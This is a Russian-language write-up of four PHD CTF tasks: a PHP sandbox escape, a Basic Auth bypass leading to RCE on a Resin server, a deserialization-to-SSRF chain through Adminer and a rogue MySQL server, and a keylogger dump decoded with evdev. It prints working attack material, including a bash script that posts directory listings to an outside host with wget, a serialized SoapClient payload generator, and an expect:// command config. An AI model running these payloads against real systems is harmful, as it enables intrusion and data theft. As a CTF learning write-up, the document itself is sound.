Всем привет. Прошел ежегодный PHD CTF и как всегда задачи были очень крутые и интересные! В этом году решил 4 таска. Может показаться что статья очень длинная — но там просто много скриншотов.

mnogorock


Интересный PHP sandbox, конечное решение которого по моему было проще подобрать на шару, т.к. оно очень простое. Но чтобы к нему прийти, нужно было разобраться что происходит. Я к решению пришел сделав нехилый крюк. Еще я не сразу догадался загуглить mongo rock, хотя перестановка букв была очевидна =)

Изначально нам дан URL, по которому возвращается небольшой хинт, что делать дальше.



Собираем POST запрос



Видим результат выполнения команды inform(). Первое что приходит в голову, это инъекция в команду, пробуем вставлять кавычки, бекслеши, параметры в ф-ю inform, изучаем поведение:





Видим некую ошибку… А вот если дописать еще букву,



то в конце вываливается закрытие php тега, тоесть инъекцией мы где-то закрываем строку.

Загуглив то что капсом (T_ENCAPSED_AND_WHITESPACE) — понимаем что это лексические токены PHP. Это говорит о том, что перед нами PHP sandbox, где перед выполнением кода происходит токенезация инпута. При этом часть токенов запрещена к использованию. А т.к. это sandbox, инъекция скорей всего неверный вектор.

Теперь попробуем написать валидные запросы, которые будут пропускаться. Например так:



видим что в этом случае вывод произошел дважды, также видим что токен T_CONSTANT_ENCAPSED_STRING (строка в кавычках) разрешен, это оказалось критически важно.

Вообще тут можно было бы уже и решить все, если бы я знал что пхп позволяет вытворять ТАКИЕ вещи =) Но я не знал. Поэтому дальше я взял полный список PHP токенов (тут) и погонял их в Intruder, чтобы понять, какие разрешены. Затем я решил загуглить «mongo rock» и нашел код песочницы, который использовался для таска. Само собой для таска его немного изменили, но логику прочесть не помешает (Заодно сравнить реальный код с тем псевдокодом в голове, который я составил, изучая поведение программы блекбоксом)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php

Смотрим функцию, которая производит токенезацию перед eval’ом кода

private function _runPHP() {
    $this->_source = "return " . $this->_source . ";";
    if (function_exists("token_get_all")) {//tokenizer extension may be disabled
        $php = "<?php\n" . $this->_source . "\n?>";
                 $tokens = token_get_all($php);

переменная $php это concat строк, отсюда взялся перенос строки и закрывающий тег в примере выше, когда мы вставили inform()''A. Далее идут 2 проверки, первая проверяет что токен входит список разрешенных:

if (in_array($type, array(
    T_OPEN_TAG,
    T_RETURN,
    T_WHITESPACE,

а вторая — что токены T_STRING имеют допустимые значения:

if ($type == T_STRING) {
    $func = strtolower($token[1]);
    if (in_array($func, array(
    //keywords allowed
 	"mongoid”,
        ….

T_STRING токены — это ключевые слова языка, в этом списке вероятно была только функция inform(). И дальше если условия прошли, происходит eval() кода. Тоесть вызвать какую либо функцию, передав ее как T_STRING токен не выйдет.

Итого мы знаем что разрешено делать вызов функций(но только одной, inform), и строки в кавычках тоже пропускаются. Тут я вспомнил трюки из JS и попробовал сдалать так:



Вот и решение. Осталось только найти флаг, который лежал в файле с рандомным именем в root(/). Как я написал в начале, решение очень простое, но не зная тонкостей PHP пришлось повозиться. Правда не так как дальше…

sincity


Изначально как обычно дан URL, открываем, видим картинку какого-то города, никаких кнопок нет, поэтому сразу смотрим html код страницы.



Обращаем внимание на какой-то странный массив… Попробуем открыть несуществующую страницу



И тут видно название очень интересного сервера. До этой задачи я даже не знал о существовании такого. Обо всех его фичах я не читал, самое интересное, что надо для таска — resin может интегрировать PHP и Java код (до чего может довести легаси)

Вообщем ничего больше на главной странице не видно, поэтому запускаем dirsearch, либо кто что любит и смотрим что еще валяется на сервере.



Находим и пробуем открыть директорию /dev/, и видим Basic HTTP аутентификацию.



Это первая часть таска — обойти Basic HTTP Auth. Идея обхода — нужно сделать так, чтобы на nginx директория не попала в регулярку /dev/, которая находиться под basic auth, но при этом чтобы бекенд распарсил URL path как /dev/. Я зарядил полный список урл енкодов в Intruder, хотя можно было и сразу догадаться:



Перебрав все 256 байт на месте §param§, находим что при %5с(бекслеш) ответ отличается от исходного, тоесть мы проваливаемся в /dev/. Вот так выглядел исходный код страницы в /dev/:



Вспоминаем такой же массив на первой странице. Это похоже на список файлов текущей директории.

  • task.php~~~edited — это исходник task.php, который типа забыли закрыть в редакторе, и он отдается в браузер плейн текстом.
  • task.php — сценарий который можно выполнять на веб сервере.

Смотрим код task.php:

<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
 if(strlen($_GET['constr'])===4){
    $c = new $_GET['constr']($_GET['arg']);
    $c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
 }else{
    die('Swimming in the pool after using a bottle of vodka');
 }
}
?>

Первое условие — передать такую куку developer_testing_mode, чтобы md5 от нее был равен '0e313373133731337313373133731337'.

Эту штуку я знал, поэтому прошел быстро. Это стандартная PHP ошибка со слабым сравнением. Рекомендую посмотреть тут.

В краце, в PHP сравнение с 2мя знаками равенства(==) считает истинным “0e12345”=“0e54321”. То есть все что нужно для обхода, это найти значение, md5 от которого будет начинаться с байта \x0e. Это можно легко нагуглить.

Второе условие в коде — если будет некий параметр constr длины 4 байта, то выполниться следующее:

$c = new $_GET['constr']($_GET['arg']);

это просто создание объекта класса, если написать попроще то будет примерно так:
$c = new Class(parameter), где мы контролируем название класса и его параметр.

вторая строка

$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); 

если переписать попроще, то:
$c->method1()->method2(parameter2) — здесь мы контроллируем названия методов и параметр 2го метода.

Очевидно что это RCE и осталось только найти подходящие названия классов. Вспоминаем что Resin — интегрирует PHP и Java код(Я вспомнил не сразу, и по началу начал копать в сторону Phar).

Решение этого таска фактически лежит в документации Resin:



Payload для RCE выглядит вот так:



Вывода от команды не будет, поэтому делаем вывод через out-of-band технику. Поднимаем в интернете listener для наших запросов, и запускаем на сервере команду, которая отправит нужную информацию на наш listener, с пейлоадом выше будет примерно так:



Т.к. название файла с флагом мы не знаем, нужно сделать листинг директорий. Метод класса Runtimeexec() может принимать на вход строку и массив. Как полноценный bash работает только в случае массива. Тогда как мы можем передать только строку. Поэтому делаем простой баш скрипт:

#!/bin/bash
ls -l > /tmp/adweifmwgfmlkerhbetlbm
ls -l / >> /tmp/adweifmwgfmlkerhbetlbm
wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/


первым запросом загружаем его на сервер с помощью wget -O /tmp/pwn ...., вторым запросом — запускаем. Принимаем у себя на listener список директорий в руте, и дальше считываем флаг.

wowsuchchain


Самый интересный из четырех. Таск называет так, потомучто в нем очень длинная цепочка багов. Я решал его наверное дня 2 и сдал практически в последний момент на пути домой решая из электрички =)

Полезная статья, которая помогает решить этот таск (про сериализацию и магические методы).

В условии дан URL, открываем, видим некий логгер HTTP запросов:



Немного поиграв с параметрами и ничего из этого не получив, запускаем dirsearch:



adminer.php — это опенсорсный инструмент для админки БД. Гугл сходу выдает SSRF уязвимость и даже сплойт, хотя последний нам не очень нужен.

Открыв страницу c adminer видим сообщение:



где нам говорят, что доступ разрешен только с внутренних ресурсов. Обращаем внимание на шлюз локальной сети, он является небольшим хинтом, какой адрес может быть у хоста с установленным Adminer.

index.php.bak — нам дан исходник для решения.

index.php.bak исходник:

Скрытый текст
<?php
session_start();
class MetaInfo {
        function get_SC(){
                return $_SERVER['SCRIPT_NAME'];
        }
        function get_CT(){
                date_default_timezone_set('UTC');
                return date('Y-m-d H:i:s');
        }
        function get_UA(){
                return $_SERVER['HTTP_USER_AGENT'];
        }
        function get_IP(){
                $client = @$_SERVER['HTTP_CLIENT_IP'];
                $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
                $remote = $_SERVER['REMOTE_ADDR'];

                if(filter_var($client, FILTER_VALIDATE_IP)){
                        $ip = $client;
                }elseif(filter_var($forward, FILTER_VALIDATE_IP)){
                        $ip = $forward;
                }else{
                        $ip = $remote;
                }
                return $ip;
        }
}
class Logger {

        private $userdata;
        private $serverdata;
        public $ip;

        function __construct(){
                if (!isset($_COOKIE['userdata'])){
                        $this->userdata = new MetaInfo();
                        $ip = $this->userdata->get_IP();
                        $useragent = htmlspecialchars($this->userdata->get_UA());
                        $serialized = serialize(array($ip,$useragent));
                        $key = getenv('KEY');
                        $nonce = md5(time());

                        $uniq_sig = hash_hmac('md5', $nonce, $key);
                        $crypto_arrow = $this->ahalai($serialized,$uniq_sig);

                        setcookie("nonce",$nonce);
                        setcookie("hmac",$crypto_arrow);
                        setcookie("userdata",base64_encode($serialized));
                        header("Location: /");
                }
                if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) {
                        fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w');
                }
        }

        function clear(){
                if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n"))
                        return "Log file cleaned!";
        }

        function show(){
                $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt');
                return $data;
        }
        function ahalai($serialized,$uniq_sig){
                $magic = $this->mahalai($serialized,$uniq_sig);
                return $magic;
        }

        function mahalai($serialized, $uniq_sig){
                return hash_hmac('md5', $serialized,$uniq_sig);
        }

        function __destruct(){
                if(isset($_COOKIE['userdata'])){
                        $serialized = base64_decode($_COOKIE['userdata']);
                        $key = getenv('KEY');
                        $nonce = $_COOKIE['nonce'];

                        $uniq_sig = hash_hmac('md5', $nonce, $key);
                        $crypto_arrow = $this->ahalai($serialized,$uniq_sig);

                        if($crypto_arrow!==$_COOKIE["hmac"]){
                                exit;
                        }

                        $this->userdata = unserialize($serialized);
                        $ip = $this->userdata[0];
                        $useragent = $this->userdata[1];

                        if(!isset($this->serverdata))
                                $this->serverdata = new MetaInfo();
                        $current_time = $this->serverdata->get_CT();
                        $script = $this->serverdata->get_SC();

                        return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND);
                }
        }

}
$a = new Logger();

?>

<center>
<pre>
<a href="/">index</a>   |       <a href="/?act=show">show log</a>       |       <a href="/?act=clear">clear log</a>
-----------------------------------------------------------------------------

<?

switch ($_GET['act']) {
        case 'clear':
                echo $a->clear();
                break;

        case 'show':
                echo $a->show();
                break;

        default:
                echo "This is index page.";
                break;
}
?>
</pre></center>

Изучаем код. Скрипт создает класс Logger, и затем отдает результаты методов show и clear в зависимости от запроса. Сразу бросаются в глаза места с сериализацией и подписями. Все самое интересное находиться в конструкторе и деструкторе.

В __construct() проиcходит генерация некоторых данных пользователя, и подпись с помощью алгоритма HMAC. Секретный ключ при этом храниться в переменной окружения. После подписи, данные и сама подпись отдаются пользователю. Это эмуляция подхода хранения данных сессии на стороне пользователя. Например так делает Apache Tapestry и кажется я встречал такой подход еще где-то в ASP фреймворках. При использовании HMAC, изменить данные и при этом обойти подпись уже не получиться. Все выглядит безопасно, поэтому переходим к __destructor()

Т.к. я не сразу увидел баг в проверке подписи в __destruct(), начал решать таск с «середины», запустив скрипт локально и закоментив часть кода с проверкой подписи. И к обходу подписи вернулся в конце. Но тут все будет по порядку=)

$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce'];

$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);

Первое на что нужно обратить внимание — мы контролируем переменную nonce, которая без какой либо фильтрации отдается в функцию hash_mac(PHP built-in функция). После чего uniq_sig передается в метод ahalai, который внутри эквивалентен тому же hash_hmac. Из-за отсутсвия фильтрации переменной nonce возникает ошибка, когда наш сериализованный payload может быть подписан не секретным ключом сервера, а пустой строкой. Чтобы понять что происходит я набросал короткий PoC:

<?php
        $nonce = array('1','2','3','100500');
        $uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET");
        $crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1);
        echo "Singature with supasecret: $crypto_arrow1\n";
        $uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET");
        $crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2);
        echo "Singature with anothersupasecret: $crypto_arrow2\n";
        $crypto_arrow3 = hash_hmac('md5',"ANYDATA","");
        echo "Signature with empty string as KEY: $crypto_arrow3\n";
?>

HMAC во всех 3х вариантах будет одинаковый. То есть в случае подписи любого массива любым ключом результат будет пустая строка. А т.к. конечная подпись считается принимая на вход предыдущую подпись, мы получаем hash_hmac(«ANYDATA»,""). А значит мы можем его вычислить перед отправкой запроса.

Итого: чтобы обойти подпись, нужно передать nonce как массив, а передаваемые данные в userdata предварительно подписать пустой строкой, и подпись передать в куке hmac.

Следующий шаг — нужно понять, как раскрутить десериализацию, чтобы получить что-то полезное. Мы знаем, что adminer имеет SSRF уязвимость, а значит в сочетании с rogue_mysql_server можем получить локальное чтение файлов. Но Adminer доступен только внутренним ресурсам. Значит итоговый вектор должен выглядеть примерно так: SSRF в index.php -> SSRF в adminer.php -> rogue_mysql_server->локальное чтение файлов (плюс были хинты от организаторов про expect и что на сервере есть только nginx+php. Последний — чтобы понять, что нужно эксплуатировать через rogue_mysq_server, expect — видимо очень редкий wrapper что его наличие не всегда проверяют. А название файла с флагом без RCE не найти).

Раскручиваем SSRF на index.php. Обращаем внимание на следующий участок кода:

$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1];

if(!isset($this->serverdata))
        $this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();

Тут есть сразу несколько трюков. Трюк первый — в случае если десериализуется объект, будет вызван __destruct() этого объекта (читать статью на Rdot.org). Трюк второй — мы делаем десериализацию уже находясь в деструкторе. Что же будет, если мы попробуем десериализовать объект этого же класса Logger? Тоесть при десериилизации снова вызовется деструктор этого же класса! Вообще я думал что произойдет бесконечный цикл и будет DOS. Но оказалось PHP эту ситуацию обрабатывает корректно. И трюк третий, если мы в процессе десериализации подсунем в приватную переменную serverdata объект, то дальше по коду вызовется метод serverdata->get_CT(). Тут приходит на помощь магический метод __call(), который вызовется в случае обращения к несуществующему методу класса.

По ключевым словам «php class __call ssrf» быстро гуглиться райтап с другого CTF, где можно найти подходящий PHP класс SoapClient и что __call() триггерит soap запрос. SoapClient создаем так, чтобы он сделал запрос на adminer.php с нужными параметрами. Я зачем-то установил adminer себе, и начал изучать, что там есть. Можно было этого и не делать. Финальный код для генерации пейлоадов у меня вышел вот такой:

<?php
        class Logger {
                private $userdata;
                private $serverdata;
                public $ip;

                function __construct($iter) {
                        $this->serverdata = new SoapClient(null, array(
                                'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=",
                                'uri'      => "http://172.17.0.$iter",
                                'trace'    => 1,
                        ));
                }
        }
        for($i=0;$i<=255;$i++) {
                $payload=serialize(array("127.0.0.1",new Logger($i)));
                file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND);
                file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND);
        }

?>

В краце — мы создаем такой же класс Logger с такими же данными как у исходного в index.php. Но в конструкторе мы присваиваем внутренней приватной переменной serverdata — объект класса SoapClient. Объект SoapClient уже указывает на внутренний ресурс adminer с параметрами для коннекта к нашему серверу с rogue_mysql_server. Цикл по переменной $iter нужен для того, чтобы найти локальный IP сервера adminer. Запрос через localhost блокировался. Вообще у него был IP=172.17.0.3, но я попробовал один и дальше запустил Intruder=) Режим Pitchfork, первый параметр — файл с сигнатурами, 2й — с пейлоадами.



Для приема коннекта у себя на сервере где-то в интернетах запускаем mysq_rogue_server, я взял отсюда. Запускаем с такой конфигурацией:

filelist = (
    #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // это путь к флагу, первый раз мы его не знаем
    'expect://ls > /tmp/mfocuz_tmp01',
    '/tmp/mfocuz_tmp01',
)

Мы не можем отдать rogue серверу вывод от expect, поэтому перенаправляем вывод в файл, и второй командой считываем этот файл.

Запускаем Intruder, смотрим какой IP сработает:



В логе rogue сервера находим вот такое:

2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'


Осталось послать еще один запрос, но в Rogue сервере вписать путь к флагу. Итоговый запрос из Repeater:



event0


Это наверное самая простая задача из всех, что были предложены на CTF. Самое сложное было понять, что это за файл. Сложное — потому что почти все ссылки в гугл указывали на компьютерную игру event[0]. Я заодно почитал что за игра и даже решил пройти. Вообщем из всего этого шума про event[0] нужно было найти информацию о линукс устройствах. В частности про linux USB клавиатуру. То есть event0 файл — результат работы кейлоггера. А дальше все очень просто гуглилось и можно было найти почти готовое решение для таска тут. И заодно открыть документацию по Python библиотеке evdev. Я взял скрипт по ссылке выше и заменил чтение с девайса на чтение из файла. Мой финальный скрипт выглядел вот так:

Скрытый текст
#!/usr/bin/python 
import pdb 
import struct 
import sys
import evdev
from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent 
CODE_MAP_CHAR = { 
    'KEY_MINUS': "-", 
    'KEY_SPACE': " ", 
    'KEY_U': "U", 
    'KEY_W': "W", 
    'KEY_BACKSLASH': "\\", 
    'KEY_GRAVE': "`", 
    'KEY_NUMERIC_STAR': "*", 
    'KEY_NUMERIC_3': "3", 
    'KEY_NUMERIC_2': "2", 
    'KEY_NUMERIC_5': "5", 
    'KEY_NUMERIC_4': "4", 
    'KEY_NUMERIC_7': "7", 
    'KEY_NUMERIC_6': "6", 
    'KEY_NUMERIC_9': "9", 
    'KEY_NUMERIC_8': "8", 
    'KEY_NUMERIC_1': "1", 
    'KEY_NUMERIC_0': "0", 
    'KEY_E': "E", 
    'KEY_D': "D", 
    'KEY_G': "G", 
    'KEY_F': "F", 
    'KEY_A': "A", 
    'KEY_C': "C", 
    'KEY_B': "B", 
    'KEY_M': "M", 
    'KEY_L': "L", 
    'KEY_O': "O", 
    'KEY_N': "N", 
    'KEY_I': "I", 
    'KEY_H': "H", 
    'KEY_K': "K", 
    'KEY_J': "J", 
    'KEY_Q': "Q", 
    'KEY_P': "P", 
    'KEY_S': "S", 
    'KEY_X': "X", 
    'KEY_Z': "Z", 
    'KEY_KP4': "4", 
    'KEY_KP5': "5", 
    'KEY_KP6': "6", 
    'KEY_KP7': "7", 
    'KEY_KP0': "0", 
    'KEY_KP1': "1", 
    'KEY_KP2': "2", 
    'KEY_KP3': "3", 
    'KEY_KP8': "8", 
    'KEY_KP9': "9", 
    'KEY_5': "5", 
    'KEY_4': "4", 
    'KEY_7': "7", 
    'KEY_6': "6", 
    'KEY_1': "1", 
    'KEY_0': "0", 
    'KEY_3': "3", 
    'KEY_2': "2", 
    'KEY_9': "9", 
    'KEY_8': "8", 
    'KEY_LEFTBRACE': "[", 
    'KEY_RIGHTBRACE': "]", 
    'KEY_COMMA': ",", 
    'KEY_EQUAL': "=", 
    'KEY_SEMICOLON': ";", 
    'KEY_APOSTROPHE': "'", 
    'KEY_T': "T", 
    'KEY_V': "V", 
    'KEY_R': "R", 
    'KEY_Y': "Y", 
    'KEY_TAB': "\t", 
    'KEY_DOT': ".", 
    'KEY_SLASH': "/", 
} 
def parse_key_to_char(val): 
    return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" 

if __name__ == "__main__": 
#    pdb.set_trace() 
    f=open('/home/w4x/ctf/phd2018/event0',"rb") 
    events=[] 
    e=f.read(24) 
    events.append(e) 
    while e != "": 
        e=f.read(24) 
        events.append(e) 

    for e in events: 
        eBytes = a=struct.unpack("HHHHHHHHHHi",e) 
        event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) 
        if event.type == ecodes.EV_KEY: 
            print  evdev.categorize(event) 


Первые строчки вывода скрипта:

key event at 0.000000, 28 (KEY_ENTER), up
key event at 0.000000, 47 (KEY_V), down
key event at 0.000000, 47 (KEY_V), up
key event at 0.000000, 23 (KEY_I), down
key event at 0.000000, 23 (KEY_I), up
key event at 0.000000, 50 (KEY_M), down
key event at 0.000000, 50 (KEY_M), up
key event at 0.000000, 57 (KEY_SPACE), down
key event at 0.000000, 57 (KEY_SPACE), up
key event at 0.000000, 37 (KEY_K), down
key event at 0.000000, 37 (KEY_K), up
key event at 0.000000, 18 (KEY_E), down
key event at 0.000000, 18 (KEY_E), up
key event at 0.000000, 21 (KEY_Y), down
key event at 0.000000, 21 (KEY_Y), up
key event at 0.000000, 52 (KEY_DOT), down
key event at 0.000000, 52 (KEY_DOT), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
key event at 0.000000, 45 (KEY_X), down
key event at 0.000000, 45 (KEY_X), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up

down-up это нажатия клавиш «вниз-вверх». Сразу видим, что запускается команда vim key.txt. Vim — это популярный текстовый редактор, который имеет два режима работы, редактирование текста и командный режим. Поэтому не все буквы в логе были реальным текстом. Для решения нужно было просто прокликать все те же самые клавиши и получить на выходе флаг.

Комментарии (0)